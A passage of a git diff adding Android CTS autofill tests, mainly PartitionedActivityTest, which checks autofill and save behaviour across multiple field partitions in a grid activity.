+        mActivity.syncRunOnUiThread(() -> mEditText1.requestFocus());
+        mUiBot.assertDatasets("dataset1");
+
+        // Switch fragments
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.getFragmentManager().beginTransaction().replace(
+                        R.id.rootContainer, new FragmentWithMoreEditTexts(),
+                        FRAGMENT_TAG).commitNow());
+        // Make sure UI is gone.
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasets();
+    }
+
+    // TODO: add similar tests for fragment with virtual view
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/PartitionedActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/PartitionedActivityTest.java
new file mode 100644
index 0000000..5408413
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/PartitionedActivityTest.java
@@ -0,0 +1,2282 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C2;
+import static android.autofillservice.cts.activities.GridActivity.ID_L2C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L2C2;
+import static android.autofillservice.cts.activities.GridActivity.ID_L3C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L3C2;
+import static android.autofillservice.cts.activities.GridActivity.ID_L4C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L4C2;
+import static android.autofillservice.cts.testcore.Helper.UNUSED_AUTOFILL_VALUE;
+import static android.autofillservice.cts.testcore.Helper.assertHasFlags;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertValue;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.Helper.getMaxPartitions;
+import static android.autofillservice.cts.testcore.Helper.setMaxPartitions;
+import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.activities.GridActivity.FillExpectation;
+import android.autofillservice.cts.commontests.AbstractGridActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.FillResponse;
+
+import org.junit.Test;
+
+/**
+ * Test case for an activity containing multiple partitions.
+ */
+@AppModeFull(reason = "Service-specific test")
+public class PartitionedActivityTest extends AbstractGridActivityTestCase {
+
+    @Test
+    public void testAutofillTwoPartitionsSkipFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger auto-fill on 1st partition.
+        focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        final ViewNode p1l1c1 = assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        final ViewNode p1l1c2 = assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+        assertWithMessage("Focus on p1l1c1").that(p1l1c1.isFocused()).isTrue();
+        assertWithMessage("Focus on p1l1c2").that(p1l1c2.isFocused()).isFalse();
+
+        // Make sure UI is shown, but don't tap it.
+        mUiBot.assertDatasets("l1c1");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("l1c2");
+
+        // Now tap a field in a different partition
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger auto-fill on 2nd partition.
+        focusCell(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(0);
+        final ViewNode p2l1c1 = assertTextIsSanitized(fillRequest2.structure, ID_L1C1);
+        final ViewNode p2l1c2 = assertTextIsSanitized(fillRequest2.structure, ID_L1C2);
+        final ViewNode p2l2c1 = assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
+        final ViewNode p2l2c2 = assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+        assertWithMessage("Focus on p2l1c1").that(p2l1c1.isFocused()).isFalse();
+        assertWithMessage("Focus on p2l1c2").that(p2l1c2.isFocused()).isFalse();
+        assertWithMessage("Focus on p2l2c1").that(p2l2c1.isFocused()).isTrue();
+        assertWithMessage("Focus on p2l2c2").that(p2l2c2.isFocused()).isFalse();
+        // Make sure UI is shown, but don't tap it.
+        mUiBot.assertDatasets("l2c1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("l2c2");
+
+        // Now fill them
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1").onCell(1, 2, "l1c2");
+        focusCell(1, 1);
+        mUiBot.selectDataset("l1c1");
+        expectation1.assertAutoFilled();
+
+        // Change previous values to make sure they are not filled again
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(1, 2, "L1C2");
+
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1").onCell(2, 2, "l2c2");
+        focusCell(2, 2);
+        mUiBot.selectDataset("l2c2");
+        expectation2.assertAutoFilled();
+
+        // Make sure previous partition didn't change
+        assertThat(mActivity.getText(1, 1)).isEqualTo("L1C1");
+        assertThat(mActivity.getText(1, 2)).isEqualTo("L1C2");
+    }
+
+    @Test
+    public void testAutofillTwoPartitionsInSequence() throws Exception {
+        // Set service.
+        enableService();
+
+        // 1st partition
+        // Prepare.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger auto-fill.
+        focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 1");
+
+        // Check the results.
+        expectation1.assertAutoFilled();
+
+        // 2nd partition
+        // Prepare.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 2"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+
+        // Trigger auto-fill.
+        focusCell(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(0);
+
+        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 2");
+
+        // Check the results.
+        expectation2.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofill4PartitionsAutomatically() throws Exception {
+        autofill4PartitionsTest(false);
+    }
+
+    @Test
+    public void testAutofill4PartitionsManually() throws Exception {
+        autofill4PartitionsTest(true);
+    }
+
+    private void autofill4PartitionsTest(boolean manually) throws Exception {
+        // Set service.
+        enableService();
+
+        // 1st partition
+        // Prepare.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+
+        if (manually) {
+            assertHasFlags(fillRequest1.flags, FLAG_MANUAL_REQUEST);
+            assertValue(fillRequest1.structure, ID_L1C1, "");
+        } else {
+            assertThat(fillRequest1.flags).isEqualTo(0);
+            assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        }
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 1");
+
+        // Check the results.
+        expectation1.assertAutoFilled();
+
+        // 2nd partition
+        // Prepare.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 2"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+
+        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
+        if (manually) {
+            assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
+            assertValue(fillRequest2.structure, ID_L2C1, "");
+        } else {
+            assertThat(fillRequest2.flags).isEqualTo(0);
+            assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
+        }
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 2");
+
+        // Check the results.
+        expectation2.assertAutoFilled();
+
+        // 3rd partition
+        // Prepare.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 3"))
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 3, 1);
+        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
+
+        assertValue(fillRequest3.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest3.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest3.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest3.structure, ID_L2C2, "l2c2");
+        if (manually) {
+            assertHasFlags(fillRequest3.flags, FLAG_MANUAL_REQUEST);
+            assertValue(fillRequest3.structure, ID_L3C1, "");
+        } else {
+            assertThat(fillRequest3.flags).isEqualTo(0);
+            assertTextIsSanitized(fillRequest3.structure, ID_L3C1);
+        }
+        assertTextIsSanitized(fillRequest3.structure, ID_L3C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 3");
+
+        // Check the results.
+        expectation3.assertAutoFilled();
+
+        // 4th partition
+        // Prepare.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 4"))
+                        .setField(ID_L4C1, "l4c1")
+                        .setField(ID_L4C2, "l4c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1")
+                .onCell(4, 2, "l4c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 4, 1);
+        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
+
+        assertValue(fillRequest4.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest4.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest4.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest4.structure, ID_L2C2, "l2c2");
+        assertValue(fillRequest4.structure, ID_L3C1, "l3c1");
+        assertValue(fillRequest4.structure, ID_L3C2, "l3c2");
+        if (manually) {
+            assertHasFlags(fillRequest4.flags, FLAG_MANUAL_REQUEST);
+            assertValue(fillRequest4.structure, ID_L4C1, "");
+        } else {
+            assertThat(fillRequest4.flags).isEqualTo(0);
+            assertTextIsSanitized(fillRequest4.structure, ID_L4C1);
+        }
+        assertTextIsSanitized(fillRequest4.structure, ID_L4C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 4");
+
+        // Check the results.
+        expectation4.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofill4PartitionsMixManualAndAuto() throws Exception {
+        // Set service.
+        enableService();
+
+        // 1st partition - auto
+        // Prepare.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger auto-fill.
+        focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 1");
+
+        // Check the results.
+        expectation1.assertAutoFilled();
+
+        // 2nd partition - manual
+        // Prepare
+        // Must set text before creating expectation, and it must be a subset of the dataset values,
+        // otherwise the UI won't be shown because of filtering
+        mActivity.setText(2, 1, "l2");
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 2"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+
+        // Trigger auto-fill.
+        mActivity.forceAutofill(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
+
+        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest2.structure, ID_L2C1, "l2");
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 2");
+
+        // Check the results.
+        expectation2.assertAutoFilled();
+
+        // 3rd partition - auto
+        // Prepare.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 3"))
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger auto-fill.
+        focusCell(3, 1);
+        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
+        assertThat(fillRequest3.flags).isEqualTo(0);
+
+        assertValue(fillRequest3.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest3.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest3.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest3.structure, ID_L2C2, "l2c2");
+        assertTextIsSanitized(fillRequest3.structure, ID_L3C1);
+        assertTextIsSanitized(fillRequest3.structure, ID_L3C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 3");
+
+        // Check the results.
+        expectation3.assertAutoFilled();
+
+        // 4th partition - manual
+        // Must set text before creating expectation, and it must be a subset of the dataset values,
+        // otherwise the UI won't be shown because of filtering
+        mActivity.setText(4, 1, "l4");
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 4"))
+                        .setField(ID_L4C1, "l4c1")
+                        .setField(ID_L4C2, "l4c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1")
+                .onCell(4, 2, "l4c2");
+
+        // Trigger auto-fill.
+        mActivity.forceAutofill(4, 1);
+        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest4.flags, FLAG_MANUAL_REQUEST);
+
+        assertValue(fillRequest4.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest4.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest4.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest4.structure, ID_L2C2, "l2c2");
+        assertValue(fillRequest4.structure, ID_L3C1, "l3c1");
+        assertValue(fillRequest4.structure, ID_L3C2, "l3c2");
+        assertValue(fillRequest4.structure, ID_L4C1, "l4");
+        assertTextIsSanitized(fillRequest4.structure, ID_L4C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 4");
+
+        // Check the results.
+        expectation4.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillBundleDataIsPassedAlong() throws Exception {
+        // Set service.
+        enableService();
+
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4");
+
+        // Prepare 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setExtras(extras)
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger auto-fill on 1st partition.
+        focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        assertThat(fillRequest1.data).isNull();
+        mUiBot.assertDatasets("l1c1");
+
+        // Prepare 2nd partition; it replaces 'number' and adds 'numbers2'
+        extras.clear();
+        extras.putString("numbers", "48");
+        extras.putString("numbers2", "1516");
+
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setExtras(extras)
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger auto-fill on 2nd partition
+        focusCell(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(0);
+        assertWithMessage("null bundle on request 2").that(fillRequest2.data).isNotNull();
+        assertWithMessage("wrong number of extras on request 2 bundle")
+                .that(fillRequest2.data.size()).isEqualTo(1);
+        assertThat(fillRequest2.data.getString("numbers")).isEqualTo("4");
+
+        // Prepare 3nd partition; it has no extras
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setExtras(null)
+                .build();
+        sReplier.addResponse(response3);
+
+        // Trigger auto-fill on 3rd partition
+        focusCell(3, 1);
+        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
+        assertThat(fillRequest3.flags).isEqualTo(0);
+        assertWithMessage("null bundle on request 3").that(fillRequest2.data).isNotNull();
+        assertWithMessage("wrong number of extras on request 3 bundle")
+                .that(fillRequest3.data.size()).isEqualTo(2);
+        assertThat(fillRequest3.data.getString("numbers")).isEqualTo("48");
+        assertThat(fillRequest3.data.getString("numbers2")).isEqualTo("1516");
+
+
+        // Prepare 4th partition; it contains just 'numbers4'
+        extras.clear();
+        extras.putString("numbers4", "2342");
+
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L4C1, "l4c1", createPresentation("l4c1"))
+                        .setField(ID_L4C2, "l4c2", createPresentation("l4c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .setExtras(extras)
+                .build();
+        sReplier.addResponse(response4);
+
+        // Trigger auto-fill on 4th partition
+        focusCell(4, 1);
+        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
+        assertThat(fillRequest4.flags).isEqualTo(0);
+        assertWithMessage("non-null bundle on request 4").that(fillRequest4.data).isNull();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        assertWithMessage("wrong number of extras on save request bundle")
+                .that(saveRequest.data.size()).isEqualTo(1);
+        assertThat(saveRequest.data.getString("numbers4")).isEqualTo("2342");
+    }
+
+    @Test
+    public void testSaveOneSaveInfoOnFirstPartitionWithIdsOnSecond() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+    }
+
+    @Test
+    public void testSaveOneSaveInfoOnSecondPartitionWithIdsOnFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+    }
+
+    @Test
+    public void testSaveTwoSaveInfosDifferentTypes() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_CREDIT_CARD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+    }
+
+    @Test
+    public void testSaveThreeSaveInfosDifferentTypes() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 3rd partition.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
+                        | SAVE_DATA_TYPE_USERNAME, ID_L3C1)
+                .build();
+        sReplier.addResponse(response3);
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.setText(3, 1, "L3C1");
+        mActivity.save();
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_CREDIT_CARD,
+                SAVE_DATA_TYPE_USERNAME);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
+    }
+
+    @Test
+    public void testSaveThreeSaveInfosDifferentTypesIncludingGeneric() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
